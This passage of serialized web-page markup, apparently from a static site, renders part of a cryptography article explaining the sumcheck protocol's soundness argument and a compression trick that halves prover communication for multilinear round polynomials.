",{"type":23,"tag":37,"props":109423,"children":109425},{"className":109424},[3984,3985],[109426],{"type":23,"tag":41,"props":109427,"children":109429},{"className":109428},[3990],[109430],{"type":23,"tag":41,"props":109431,"children":109433},{"className":109432,"ariaHidden":3996},[3995],[109434,109527],{"type":23,"tag":41,"props":109435,"children":109437},{"className":109436},[4001],[109438,109442,109499,109504,109509,109514,109518,109523],{"type":23,"tag":41,"props":109439,"children":109441},{"className":109440,"style":4113},[4006],[],{"type":23,"tag":41,"props":109443,"children":109445},{"className":109444},[4012],[109446,109451],{"type":23,"tag":41,"props":109447,"children":109449},{"className":109448,"style":93251},[4012,21574],[109450],{"type":28,"value":109016},{"type":23,"tag":41,"props":109452,"children":109454},{"className":109453},[4028],[109455],{"type":23,"tag":41,"props":109456,"children":109458},{"className":109457},[4033,21628],[109459,109488],{"type":23,"tag":41,"props":109460,"children":109462},{"className":109461},[4038],[109463,109483],{"type":23,"tag":41,"props":109464,"children":109466},{"className":109465,"style":93294},[4043],[109467],{"type":23,"tag":41,"props":109468,"children":109469},{"style":93298},[109470,109474],{"type":23,"tag":41,"props":109471,"children":109473},{"className":109472,"style":4053},[4052],[],{"type":23,"tag":41,"props":109475,"children":109477},{"className":109476},[4058,4059,4060,4061],[109478],{"type":23,"tag":41,"props":109479,"children":109481},{"className":109480},[4012,21574,4061],[109482],{"type":28,"value":3737},{"type":23,"tag":41,"props":109484,"children":109486},{"className":109485},[21731],[109487],{"type":28,"value":21734},{"type":23,"tag":41,"props":109489,"children":109491},{"className":109490},[4038],[109492],{"type":23,"tag":41,"props":109493,"children":109495},{"className":109494,"style":92848},[4043],[109496],{"type":23,"tag":41,"props":109497,"children":109498},{},[],{"type":23,"tag":41,"props":109500,"children":109502},{"className":109501},[21703],[109503],{"type":28,"value":1737},{"type":23,"tag":41,"props":109505,"children":109507},{"className":109506},[4012],[109508],{"type":28,"value":4024},{"type":23,"tag":41,"props":109510,"children":109512},{"className":109511},[21725],[109513],{"type":28,"value":2678},{"type":23,"tag":41,"props":109515,"children":109517},{"className":109516,"style":4093},[4092],[],{"type":23,"tag":41,"props":109519,"children":109521},{"className":109520},[4098],[109522],{"type":28,"value":4383},{"type":23,"tag":41,"props":109524,"children":109526},{"className":109525,"style":4093},[4092],[],{"type":23,"tag":41,"props":109528,"children":109530},{"className":109529},[4001],[109531,109535,109592,109597,109602],{"type":23,"tag":41,"props":109532,"children":109534},{"className":109533,"style":4113},[4006],[],{"type":23,"tag":41,"props":109536,"children":109538},{"className":109537},[4012],[109539,109544],{"type":23,"tag":41,"props":109540,"children":109542},{"className":109541,"style":93251},[4012,21574],[109543],{"type":28,"value":109016},{"type":23,"tag":41,"props":109545,"children":109547},{"className":109546},[4028],[109548],{"type":23,"tag":41,"props":109549,"children":109551},{"className":109550},[4033,21628],[109552,109581],{"type":23,"tag":41,"props":109553,"children":109555},{"className":109554},[4038],[109556,109576],{"type":23,"tag":41,"props":109557,"children":109559},{"className":109558,"style":93294},[4043],[109560],{"type":23,"tag":41,"props":109561,"children":109562},{"style":93298},[109563,109567],{"type":23,"tag":41,"props":109564,"children":109566},{"className":109565,"style":4053},[4052],[],{"type":23,"tag":41,"props":109568,"children":109570},{"className":109569},[4058,4059,4060,4061],[109571],{"type":23,"tag":41,"props":109572,"children":109574},{"className":109573},[4012,21574,4061],[109575],{"type":28,"value":3737},{"type":23,"tag":41,"props":109577,"children":109579},{"className":109578},[21731],[109580],{"type":28,"value":21734},{"type":23,"tag":41,"props":109582,"children":109584},{"className":109583},[4038],[109585],{"type":23,"tag":41,"props":109586,"children":109588},{"className":109587,"style":92848},[4043],[109589],{"type":23,"tag":41,"props":109590,"children":109591},{},[],{"type":23,"tag":41,"props":109593,"children":109595},{"className":109594},[21703],[109596],{"type":28,"value":1737},{"type":23,"tag":41,"props":109598,"children":109600},{"className":109599},[4012],[109601],{"type":28,"value":317},{"type":23,"tag":41,"props":109603,"children":109605},{"className":109604},[21725],[109606],{"type":28,"value":2678},{"type":28,"value":109608}," equals the previous claim. If the prover is lying about the original sum ",{"type":23,"tag":37,"props":109610,"children":109612},{"className":109611},[3984,3985],[109613],{"type":23,"tag":41,"props":109614,"children":109616},{"className":109615},[3990],[109617],{"type":23,"tag":41,"props":109618,"children":109620},{"className":109619,"ariaHidden":3996},[3995],[109621],{"type":23,"tag":41,"props":109622,"children":109624},{"className":109623},[4001],[109625,109629],{"type":23,"tag":41,"props":109626,"children":109628},{"className":109627,"style":21569},[4006],[],{"type":23,"tag":41,"props":109630,"children":109632},{"className":109631,"style":92999},[4012,21574],[109633],{"type":28,"value":93002},{"type":28,"value":109635},", then they must lie about ",{"type":23,"tag":37,"props":109637,"children":109639},{"className":109638},[3984,3985],[109640],{"type":23,"tag":41,"props":109641,"children":109643},{"className":109642},[3990],[109644],{"type":23,"tag":41,"props":109645,"children":109647},{"className":109646,"ariaHidden":3996},[3995],[109648],{"type":23,"tag":41,"props":109649,"children":109651},{"className":109650},[4001],[109652,109657],{"type":23,"tag":41,"props":109653,"children":109656},{"className":109654,"style":109655},[4006],"height:0.625em;vertical-align:-0.1944em;",[],{"type":23,"tag":41,"props":109658,"children":109660},{"className":109659},[4012],[109661,109666],{"type":23,"tag":41,"props":109662,"children":109664},{"className":109663,"style":93251},[4012,21574],[109665],{"type":28,"value":109016},{"type":23,"tag":41,"props":109667,"children":109669},{"className":109668},[4028],[109670],{"type":23,"tag":41,"props":109671,"children":109673},{"className":109672},[4033,21628],[109674,109703],{"type":23,"tag":41,"props":109675,"children":109677},{"className":109676},[4038],[109678,109698],{"type":23,"tag":41,"props":109679,"children":109681},{"className":109680,"style":93294},[4043],[109682],{"type":23,"tag":41,"props":109683,"children":109684},{"style":93298},[109685,109689],{"type":23,"tag":41,"props":109686,"children":109688},{"className":109687,"style":4053},[4052],[],{"type":23,"tag":41,"props":109690,"children":109692},{"className":109691},[4058,4059,4060,4061],[109693],{"type":23,"tag":41,"props":109694,"children":109696},{"className":109695},[4012,21574,4061],[109697],{"type":28,"value":3737},{"type":23,"tag":41,"props":109699,"children":109701},{"className":109700},[21731],[109702],{"type":28,"value":21734},{"type":23,"tag":41,"props":109704,"children":109706},{"className":109705},[4038],[109707],{"type":23,"tag":41,"props":109708,"children":109710},{"className":109709,"style":92848},[4043],[109711],{"type":23,"tag":41,"props":109712,"children":109713},{},[],{"type":28,"value":109715}," somewhere. But since the verifier picks a random ",{"type":23,"tag":37,"props":109717,"children":109719},{"className":109718},[3984,3985],[109720],{"type":23,"tag":41,"props":109721,"children":109723},{"className":109722},[3990],[109724],{"type":23,"tag":41,"props":109725,"children":109727},{"className":109726,"ariaHidden":3996},[3995],[109728],{"type":23,"tag":41,"props":109729,"children":109731},{"className":109730},[4001],[109732,109737],{"type":23,"tag":41,"props":109733,"children":109736},{"className":109734,"style":109735},[4006],"height:0.5806em;vertical-align:-0.15em;",[],{"type":23,"tag":41,"props":109738,"children":109740},{"className":109739},[4012],[109741,109746],{"type":23,"tag":41,"props":109742,"children":109744},{"className":109743,"style":92765},[4012,21574],[109745],{"type":28,"value":93584},{"type":23,"tag":41,"props":109747,"children":109749},{"className":109748},[4028],[109750],{"type":23,"tag":41,"props":109751,"children":109753},{"className":109752},[4033,21628],[109754,109784],{"type":23,"tag":41,"props":109755,"children":109757},{"className":109756},[4038],[109758,109779],{"type":23,"tag":41,"props":109759,"children":109761},{"className":109760,"style":93294},[4043],[109762],{"type":23,"tag":41,"props":109763,"children":109765},{"style":109764},"top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;",[109766,109770],{"type":23,"tag":41,"props":109767,"children":109769},{"className":109768,"style":4053},[4052],[],{"type":23,"tag":41,"props":109771,"children":109773},{"className":109772},[4058,4059,4060,4061],[109774],{"type":23,"tag":41,"props":109775,"children":109777},{"className":109776},[4012,21574,4061],[109778],{"type":28,"value":3737},{"type":23,"tag":41,"props":109780,"children":109782},{"className":109781},[21731],[109783],{"type":28,"value":21734},{"type":23,"tag":41,"props":109785,"children":109787},{"className":109786},[4038],[109788],{"type":23,"tag":41,"props":109789,"children":109791},{"className":109790,"style":92848},[4043],[109792],{"type":23,"tag":41,"props":109793,"children":109794},{},[],{"type":28,"value":109796},", with overwhelming probability, the prover won't then be able to match the evaluation of the original polynomial.",{"type":23,"tag":18881,"props":109798,"children":109800},{"id":109799},"the-compression-trick",[109801],{"type":28,"value":109802},"The Compression Trick",{"type":23,"tag":24,"props":109804,"children":109805},{},[109806,109808,109958,109960,110240],{"type":28,"value":109807},"For degree-1 (multilinear) polynomials, ",{"type":23,"tag":37,"props":109809,"children":109811},{"className":109810},[3984,3985],[109812],{"type":23,"tag":41,"props":109813,"children":109815},{"className":109814},[3990],[109816],{"type":23,"tag":41,"props":109817,"children":109819},{"className":109818,"ariaHidden":3996},[3995],[109820,109913,109940],{"type":23,"tag":41,"props":109821,"children":109823},{"className":109822},[4001],[109824,109828,109885,109890,109895,109900,109904,109909],{"type":23,"tag":41,"props":109825,"children":109827},{"className":109826,"style":4113},[4006],[],{"type":23,"tag":41,"props":109829,"children":109831},{"className":109830},[4012],[109832,109837],{"type":23,"tag":41,"props":109833,"children":109835},{"className":109834,"style":93251},[4012,21574],[109836],{"type":28,"value":109016},{"type":23,"tag":41,"props":109838,"children":109840},{"className":109839},[4028],[109841],{"type":23,"tag":41,"props":109842,"children":109844},{"className":109843},[4033,21628],[109845,109874],{"type":23,"tag":41,"props":109846,"children":109848},{"className":109847},[4038],[109849,109869],{"type":23,"tag":41,"props":109850,"children":109852},{"className":109851,"style":93294},[4043],[109853],{"type":23,"tag":41,"props":109854,"children":109855},{"style":93298},[109856,109860],{"type":23,"tag":41,"props":109857,"children":109859},{"className":109858,"style":4053},[4052],[],{"type":23,"tag":41,"props":109861,"children":109863},{"className":109862},[4058,4059,4060,4061],[109864],{"type":23,"tag":41,"props":109865,"children":109867},{"className":109866},[4012,21574,4061],[109868],{"type":28,"value":3737},{"type":23,"tag":41,"props":109870,"children":109872},{"className":109871},[21731],[109873],{"type":28,"value":21734},{"type":23,"tag":41,"props":109875,"children":109877},{"className":109876},[4038],[109878],{"type":23,"tag":41,"props":109879,"children":109881},{"className":109880,"style":92848},[4043],[109882],{"type":23,"tag":41,"props":109883,"children":109884},{},[],{"type":23,"tag":41,"props":109886,"children":109888},{"className":109887},[21703],[109889],{"type":28,"value":1737},{"type":23,"tag":41,"props":109891,"children":109893},{"className":109892,"style":94785},[4012,21574],[109894],{"type":28,"value":6131},{"type":23,"tag":41,"props":109896,"children":109898},{"className":109897},[21725],[109899],{"type":28,"value":2678},{"type":23,"tag":41,"props":109901,"children":109903},{"className":109902,"style":4190},[4092],[],{"type":23,"tag":41,"props":109905,"children":109907},{"className":109906},[4195],[109908],{"type":28,"value":2381},{"type":23,"tag":41,"props":109910,"children":109912},{"className":109911,"style":4190},[4092],[],{"type":23,"tag":41,"props":109914,"children":109916},{"className":109915},[4001],[109917,109922,109927,109931,109936],{"type":23,"tag":41,"props":109918,"children":109921},{"className":109919,"style":109920},[4006],"height:0.6667em;vertical-align:-0.0833em;",[],{"type":23,"tag":41,"props":109923,"children":109925},{"className":109924},[4012,21574],[109926],{"type":28,"value":458},{"type":23,"tag":41,"props":109928,"children":109930},{"className":109929,"style":4093},[4092],[],{"type":23,"tag":41,"props":109932,"children":109934},{"className":109933},[4098],[109935],{"type":28,"value":4383},{"type":23,"tag":41,"props":109937,"children":109939},{"className":109938,"style":4093},[4092],[],{"type":23,"tag":41,"props":109941,"children":109943},{"className":109942},[4001],[109944,109948,109953],{"type":23,"tag":41,"props":109945,"children":109947},{"className":109946,"style":92680},[4006],[],{"type":23,"tag":41,"props":109949,"children":109951},{"className":109950},[4012,21574],[109952],{"type":28,"value":3222},{"type":23,"tag":41,"props":109954,"children":109956},{"className":109955,"style":94785},[4012,21574],[109957],{"type":28,"value":6131},{"type":28,"value":109959}," has only two coefficients. Since the verifier knows ",{"type":23,"tag":37,"props":109961,"children":109963},{"className":109962},[3984,3985],[109964],{"type":23,"tag":41,"props":109965,"children":109967},{"className":109966},[3990],[109968],{"type":23,"tag":41,"props":109969,"children":109971},{"className":109970,"ariaHidden":3996},[3995],[109972,110065,110158],{"type":23,"tag":41,"props":109973,"children":109975},{"className":109974},[4001],[109976,109980,110037,110042,110047,110052,110056,110061],{"type":23,"tag":41,"props":109977,"children":109979},{"className":109978,"style":4113},[4006],[],{"type":23,"tag":41,"props":109981,"children":109983},{"className":109982},[4012],[109984,109989],{"type":23,"tag":41,"props":109985,"children":109987},{"className":109986,"style":93251},[4012,21574],[109988],{"type":28,"value":109016},{"type":23,"tag":41,"props":109990,"children":109992},{"className":109991},[4028],[109993],{"type":23,"tag":41,"props":109994,"children":109996},{"className":109995},[4033,21628],[109997,110026],{"type":23,"tag":41,"props":109998,"children":110000},{"className":109999},[4038],[110001,110021],{"type":23,"tag":41,"props":110002,"children":110004},{"className":110003,"style":93294},[4043],[110005],{"type":23,"tag":41,"props":110006,"children":110007},{"style":93298},[110008,110012],{"type":23,"tag":41,"props":110009,"children":110011},{"className":110010,"style":4053},[4052],[],{"type":23,"tag":41,"props":110013,"children":110015},{"className":110014},[4058,4059,4060,4061],[110016],{"type":23,"tag":41,"props":110017,"children":110019},{"className":110018},[4012,21574,4061],[110020],{"type":28,"value":3737},{"type":23,"tag":41,"props":110022,"children":110024},{"className":110023},[21731],[110025],{"type":28,"value":21734},{"type":23,"tag":41,"props":110027,"children":110029},{"className":110028},[4038],[110030],{"type":23,"tag":41,"props":110031,"children":110033},{"className":110032,"style":92848},[4043],[110034],{"type":23,"tag":41,"props":110035,"children":110036},{},[],{"type":23,"tag":41,"props":110038,"children":110040},{"className":110039},[21703],[110041],{"type":28,"value":1737},{"type":23,"tag":41,"props":110043,"children":110045},{"className":110044},[4012],[110046],{"type":28,"value":4024},{"type":23,"tag":41,"props":110048,"children":110050},{"className":110049},[21725],[110051],{"type":28,"value":2678},{"type":23,"tag":41,"props":110053,"children":110055},{"className":110054,"style":4093},[4092],[],{"type":23,"tag":41,"props":110057,"children":110059},{"className":110058},[4098],[110060],{"type":28,"value":4383},{"type":23,"tag":41,"props":110062,"children":110064},{"className":110063,"style":4093},[4092],[],{"type":23,"tag":41,"props":110066,"children":110068},{"className":110067},[4001],[110069,110073,110130,110135,110140,110145,110149,110154],{"type":23,"tag":41,"props":110070,"children":110072},{"className":110071,"style":4113},[4006],[],{"type":23,"tag":41,"props":110074,"children":110076},{"className":110075},[4012],[110077,110082],{"type":23,"tag":41,"props":110078,"children":110080},{"className":110079,"style":93251},[4012,21574],[110081],{"type":28,"value":109016},{"type":23,"tag":41,"props":110083,"children":110085},{"className":110084},[4028],[110086],{"type":23,"tag":41,"props":110087,"children":110089},{"className":110088},[4033,21628],[110090,110119],{"type":23,"tag":41,"props":110091,"children":110093},{"className":110092},[4038],[110094,110114],{"type":23,"tag":41,"props":110095,"children":110097},{"className":110096,"style":93294},[4043],[110098],{"type":23,"tag":41,"props":110099,"children":110100},{"style":93298},[110101,110105],{"type":23,"tag":41,"props":110102,"children":110104},{"className":110103,"style":4053},[4052],[],{"type":23,"tag":41,"props":110106,"children":110108},{"className":110107},[4058,4059,4060,4061],[110109],{"type":23,"tag":41,"props":110110,"children":110112},{"className":110111},[4012,21574,4061],[110113],{"type":28,"value":3737},{"type":23,"tag":41,"props":110115,"children":110117},{"className":110116},[21731],[110118],{"type":28,"value":21734},{"type":23,"tag":41,"props":110120,"children":110122},{"className":110121},[4038],[110123],{"type":23,"tag":41,"props":110124,"children":110126},{"className":110125,"style":92848},[4043],[110127],{"type":23,"tag":41,"props":110128,"children":110129},{},[],{"type":23,"tag":41,"props":110131,"children":110133},{"className":110132},[21703],[110134],{"type":28,"value":1737},{"type":23,"tag":41,"props":110136,"children":110138},{"className":110137},[4012],[110139],{"type":28,"value":317},{"type":23,"tag":41,"props":110141,"children":110143},{"className":110142},[21725],[110144],{"type":28,"value":2678},{"type":23,"tag":41,"props":110146,"children":110148},{"className":110147,"style":4190},[4092],[],{"type":23,"tag":41,"props":110150,"children":110152},{"className":110151},[4195],[110153],{"type":28,"value":2381},{"type":23,"tag":41,"props":110155,"children":110157},{"className":110156,"style":4190},[4092],[],{"type":23,"tag":41,"props":110159,"children":110161},{"className":110160},[4001],[110162,110167],{"type":23,"tag":41,"props":110163,"children":110166},{"className":110164,"style":110165},[4006],"height:0.8917em;vertical-align:-0.2083em;",[],{"type":23,"tag":41,"props":110168,"children":110170},{"className":110169},[4012],[110171,110176],{"type":23,"tag":41,"props":110172,"children":110174},{"className":110173,"style":92999},[4012,21574],[110175],{"type":28,"value":93002},{"type":23,"tag":41,"props":110177,"children":110179},{"className":110178},[4028],[110180],{"type":23,"tag":41,"props":110181,"children":110183},{"className":110182},[4033,21628],[110184,110228],{"type":23,"tag":41,"props":110185,"children":110187},{"className":110186},[4038],[110188,110223],{"type":23,"tag":41,"props":110189,"children":110191},{"className":110190,"style":93294},[4043],[110192],{"type":23,"tag":41,"props":110193,"children":110195},{"style":110194},"top:-2.55em;margin-left:-0.0813em;margin-right:0.05em;",[110196,110200],{"type":23,"tag":41,"props":110197,"children":110199},{"className":110198,"style":4053},[4052],[],{"type":23,"tag":41,"props":110201,"children":110203},{"className":110202},[4058,4059,4060,4061],[110204],{"type":23,"tag":41,"props":110205,"children":110207},{"className":110206},[4012,4061],[110208,110213,110218],{"type":23,"tag":41,"props":110209,"children":110211},{"className":110210},[4012,21574,4061],[110212],{"type":28,"value":3737},{"type":23,"tag":41,"props":110214,"children":110216},{"className":110215},[4098,4061],[110217],{"type":28,"value":4072},{"type":23,"tag":41,"props":110219,"children":110221},{"className":110220},[4012,4061],[110222],{"type":28,"value":317},{"type":23,"tag":41,"props":110224,"children":110226},{"className":110225},[21731],[110227],{"type":28,"value":21734},{"type":23,"tag":41,"props":110229,"children":110231},{"className":110230},[4038],[110232],{"type":23,"tag":41,"props":110233,"children":110236},{"className":110234,"style":110235},[4043],"height:0.2083em;",[110237],{"type":23,"tag":41,"props":110238,"children":110239},{},[],{"type":28,"value":110241}," (the previous claim), we have:",{"type":23,"tag":24,"props":110243,"children":110244},{},[110245],{"type":23,"tag":37,"props":110246,"children":110248},{"className":110247},[3984,3985],[110249],{"type":23,"tag":41,"props":110250,"children":110252},{"className":110251},[3990],[110253],{"type":23,"tag":41,"props":110254,"children":110256},{"className":110255,"ariaHidden":3996},[3995],[110257,110283,110314,110345,110446,110472,110564],{"type":23,"tag":41,"props":110258,"children":110260},{"className":110259},[4001],[110261,110265,110270,110274,110279],{"type":23,"tag":41,"props":110262,"children":110264},{"className":110263,"style":109920},[4006],[],{"type":23,"tag":41,"props":110266,"children":110268},{"className":110267},[4012,21574],[110269],{"type":28,"value":458},{"type":23,"tag":41,"props":110271,"children":110273},{"className":110272,"style":4093},[4092],[],{"type":23,"tag":41,"props":110275,"children":110277},{"className":110276},[4098],[110278],{"type":28,"value":4383},{"type":23,"tag":41,"props":110280,"children":110282},{"className":110281,"style":4093},[4092],[],{"type":23,"tag":41,"props":110284,"children":110286},{"className":110285},[4001],[110287,110291,110296,110301,110305,110310],{"type":23,"tag":41,"props":110288,"children":110290},{"className":110289,"style":4113},[4006],[],{"type":23,"tag":41,"props":110292,"children":110294},{"className":110293},[21703],[110295],{"type":28,"value":1737},{"type":23,"tag":41,"props":110297,"children":110299},{"className":110298},[4012,21574],[110300],{"type":28,"value":458},{"type":23,"tag":41,"props":110302,"children":110304},{"className":110303,"style":4093},[4092],[],{"type":23,"tag":41,"props":110306,"children":110308},{"className":110307},[4098],[110309],{"type":28,"value":4383},{"type":23,"tag":41,"props":110311,"children":110313},{"className":110312,"style":4093},[4092],[],{"type":23,"tag":41,"props":110315,"children":110317},{"className":110316},[4001],[110318,110322,110327,110332,110336,110341],{"type":23,"tag":41,"props":110319,"children":110321},{"className":110320,"style":4113},[4006],[],{"type":23,"tag":41,"props":110323,"children":110325},{"className":110324},[4012,21574],[110326],{"type":28,"value":3222},{"type":23,"tag":41,"props":110328,"children":110330},{"className":110329},[21725],[110331],{"type":28,"value":2678},{"type":23,"tag":41,"props":110333,"children":110335},{"className":110334,"style":4190},[4092],[],{"type":23,"tag":41,"props":110337,"children":110339},{"className":110338},[4195],[110340],{"type":28,"value":2381},{"type":23,"tag":41,"props":110342,"children":110344},{"className":110343,"style":4190},[4092],[],{"type":23,"tag":41,"props":110346,"children":110348},{"className":110347},[4001],[110349,110353,110424,110428,110432,110438,110442],{"type":23,"tag":41,"props":110350,"children":110352},{"className":110351,"style":110165},[4006],[],{"type":23,"tag":41,"props":110354,"children":110356},{"className":110355},[4012],[110357,110362],{"type":23,"tag":41,"props":110358,"children":110360},{"className":110359,"style":92999},[4012,21574],[110361],{"type":28,"value":93002},{"type":23,"tag":41,"props":110363,"children":110365},{"className":110364},[4028],[110366],{"type":23,"tag":41,"props":110367,"children":110369},{"className":110368},[4033,21628],[110370,110413],{"type":23,"tag":41,"props":110371,"children":110373},{"className":110372},[4038],[110374,110408],{"type":23,"tag":41,"props":110375,"children":110377},{"className":110376,"style":93294},[4043],[110378],{"type":23,"tag":41,"props":110379,"children":110380},{"style":110194},[110381,110385],{"type":23,"tag":41,"props":110382,"children":110384},{"className":110383,"style":4053},[4052],[],{"type":23,"tag":41,"props":110386,"children":110388},{"className":110387},[4058,4059,4060,4061],[110389],{"type":23,"tag":41,"props":110390,"children":110392},{"className":110391},[4012,4061],[110393,110398,110403],{"type":23,"tag":41,"props":110394,"children":110396},{"className":110395},[4012,21574,4061],[110397],{"type":28,"value":3737},{"type":23,"tag":41,"props":110399,"children":110401},{"className":110400},[4098,4061],[110402],{"type":28,"value":4072},{"type":23,"tag":41,"props":110404,"children":110406},{"className":110405},[4012,4061],[110407],{"type":28,"value":317},{"type":23,"tag":41,"props":110409,"children":110411},{"className":110410},[21731],[110412],{"type":28,"value":21734},{"type":23,"tag":41,"props":110414,"children":110416},{"className":110415},[4038],[110417],{"type":23,"tag":41,"props":110418,"children":110420},{"className":110419,"style":110235},[4043],[110421],{"type":23,"tag":41,"props":110422,"children":110423},{},[],{"type":23,"tag":41,"props":110425,"children":110427},{"className":110426,"style":4190},[4092],[],{"type":23,"tag":41,"props":110429,"children":110431},{"className":110430,"style":4190},[4092],[],{"type":23,"tag":41,"props":110433,"children":110435},{"className":110434},[4195],[110436],{"type":28,"value":110437},"⟹",{"type":23,"tag":41,"props":110439,"children":110441},{"className":110440,"style":4190},[4092],[],{"type":23,"tag":41,"props":110443,"children":110445},{"className":110444,"style":4190},[4092],[],{"type":23,"tag":41,"props":110447,"children":110449},{"className":110448},[4001],[110450,110454,110459,110463,110468],{"type":23,"tag":41,"props":110451,"children":110453},{"className":110452,"style":92680},[4006],[],{"type":23,"tag":41,"props":110455,"children":110457},{"className":110456},[4012,21574],[110458],{"type":28,"value":3222},{"type":23,"tag":41,"props":110460,"children":110462},{"className":110461,"style":4190},[4092],[],{"type":23,"tag":41,"props":110464,"children":110466},{"className":110465},[4195],[110467],{"type":28,"value":2381},{"type":23,"tag":41,"props":110469,"children":110471},{"className":110470,"style":4190},[4092],[],{"type":23,"tag":41,"props":110473,"children":110475},{"className":110474},[4001],[110476,110480,110551,110555,110560],{"type":23,"tag":41,"props":110477,"children":110479},{"className":110478,"style":110165},[4006],[],{"type":23,"tag":41,"props":110481,"children":110483},{"className":110482},[4012],[110484,110489],{"type":23,"tag":41,"props":110485,"children":110487},{"className":110486,"style":92999},[4012,21574],[110488],{"type":28,"value":93002},{"type":23,"tag":41,"props":110490,"children":110492},{"className":110491},[4028],[110493],{"type":23,"tag":41,"props":110494,"children":110496},{"className":110495},[4033,21628],[110497,110540],{"type":23,"tag":41,"props":110498,"children":110500},{"className":110499},[4038],[110501,110535],{"type":23,"tag":41,"props":110502,"children":110504},{"className":110503,"style":93294},[4043],[110505],{"type":23,"tag":41,"props":110506,"children":110507},{"style":110194},[110508,110512],{"type":23,"tag":41,"props":110509,"children":110511},{"className":110510,"style":4053},[4052],[],{"type":23,"tag":41,"props":110513,"children":110515},{"className":110514},[4058,4059,4060,4061],[110516],{"type":23,"tag":41,"props":110517,"children":110519},{"className":110518},[4012,4061],[110520,110525,110530],{"type":23,"tag":41,"props":110521,"children":110523},{"className":110522},[4012,21574,4061],[110524],{"type":28,"value":3737},{"type":23,"tag":41,"props":110526,"children":110528},{"className":110527},[4098,4061],[110529],{"type":28,"value":4072},{"type":23,"tag":41,"props":110531,"children":110533},{"className":110532},[4012,4061],[110534],{"type":28,"value":317},{"type":23,"tag":41,"props":110536,"children":110538},{"className":110537},[21731],[110539],{"type":28,"value":21734},{"type":23,"tag":41,"props":110541,"children":110543},{"className":110542},[4038],[110544],{"type":23,"tag":41,"props":110545,"children":110547},{"className":110546,"style":110235},[4043],[110548],{"type":23,"tag":41,"props":110549,"children":110550},{},[],{"type":23,"tag":41,"props":110552,"children":110554},{"className":110553,"style":4093},[4092],[],{"type":23,"tag":41,"props":110556,"children":110558},{"className":110557},[4098],[110559],{"type":28,"value":4072},{"type":23,"tag":41,"props":110561,"children":110563},{"className":110562,"style":4093},[4092],[],{"type":23,"tag":41,"props":110565,"children":110567},{"className":110566},[4001],[110568,110572,110577],{"type":23,"tag":41,"props":110569,"children":110571},{"className":110570,"style":93796},[4006],[],{"type":23,"tag":41,"props":110573,"children":110575},{"className":110574},[4012],[110576],{"type":28,"value":3123},{"type":23,"tag":41,"props":110578,"children":110580},{"className":110579},[4012,21574],[110581],{"type":28,"value":458},{"type":23,"tag":24,"props":110583,"children":110584},{},[110585,110587,110706,110708,110733],{"type":28,"value":110586},"So the prover only sends ",{"type":23,"tag":37,"props":110588,"children":110590},{"className":110589},[3984,3985],[110591],{"type":23,"tag":41,"props":110592,"children":110594},{"className":110593},[3990],[110595],{"type":23,"tag":41,"props":110596,"children":110598},{"className":110597,"ariaHidden":3996},[3995],[110599,110626],{"type":23,"tag":41,"props":110600,"children":110602},{"className":110601},[4001],[110603,110608,110613,110617,110622],{"type":23,"tag":41,"props":110604,"children":110607},{"className":110605,"style":110606},[4006],"height:0.4306em;",[],{"type":23,"tag":41,"props":110609,"children":110611},{"className":110610},[4012,21574],[110612],{"type":28,"value":458},{"type":23,"tag":41,"props":110614,"children":110616},{"className":110615,"style":4190},[4092],[],{"type":23,"tag":41,"props":110618,"children":110620},{"className":110619},[4195],[110621],{"type":28,"value":2381},{"type":23,"tag":41,"props":110623,"children":110625},{"className":110624,"style":4190},[4092],[],{"type":23,"tag":41,"props":110627,"children":110629},{"className":110628},[4001],[110630,110634,110691,110696,110701],{"type":23,"tag":41,"props":110631,"children":110633},{"className":110632,"style":4113},[4006],[],{"type":23,"tag":41,"props":110635,"children":110637},{"className":110636},[4012],[110638,110643],{"type":23,"tag":41,"props":110639,"children":110641},{"className":110640,"style":93251},[4012,21574],[110642],{"type":28,"value":109016},{"type":23,"tag":41,"props":110644,"children":110646},{"className":110645},[4028],[110647],{"type":23,"tag":41,"props":110648,"children":110650},{"className":110649},[4033,21628],[110651,110680],{"type":23,"tag":41,"props":110652,"children":110654},{"className":110653},[4038],[110655,110675],{"type":23,"tag":41,"props":110656,"children":110658},{"className":110657,"style":93294},[4043],[110659],{"type":23,"tag":41,"props":110660,"children":110661},{"style":93298},[110662,110666],{"type":23,"tag":41,"props":110663,"children":110665},{"className":110664,"style":4053},[4052],[],{"type":23,"tag":41,"props":110667,"children":110669},{"className":110668},[4058,4059,4060,4061],[110670],{"type":23,"tag":41,"props":110671,"children":110673},{"className":110672},[4012,21574,4061],[110674],{"type":28,"value":3737},{"type":23,"tag":41,"props":110676,"children":110678},{"className":110677},[21731],[110679],{"type":28,"value":21734},{"type":23,"tag":41,"props":110681,"children":110683},{"className":110682},[4038],[110684],{"type":23,"tag":41,"props":110685,"children":110687},{"className":110686,"style":92848},[4043],[110688],{"type":23,"tag":41,"props":110689,"children":110690},{},[],{"type":23,"tag":41,"props":110692,"children":110694},{"className":110693},[21703],[110695],{"type":28,"value":1737},{"type":23,"tag":41,"props":110697,"children":110699},{"className":110698},[4012],[110700],{"type":28,"value":4024},{"type":23,"tag":41,"props":110702,"children":110704},{"className":110703},[21725],[110705],{"type":28,"value":2678},{"type":28,"value":110707},", and the verifier recovers ",{"type":23,"tag":37,"props":110709,"children":110711},{"className":110710},[3984,3985],[110712],{"type":23,"tag":41,"props":110713,"children":110715},{"className":110714},[3990],[110716],{"type":23,"tag":41,"props":110717,"children":110719},{"className":110718,"ariaHidden":3996},[3995],[110720],{"type":23,"tag":41,"props":110721,"children":110723},{"className":110722},[4001],[110724,110728],{"type":23,"tag":41,"props":110725,"children":110727},{"className":110726,"style":92680},[4006],[],{"type":23,"tag":41,"props":110729,"children":110731},{"className":110730},[4012,21574],[110732],{"type":28,"value":3222},{"type":28,"value":110734},". This saves 50% on communication costs.",{"type":23,"tag":24,"props":110736,"children":110737},{},[110738],{"type":28,"value":110739},"The next claim in the chain 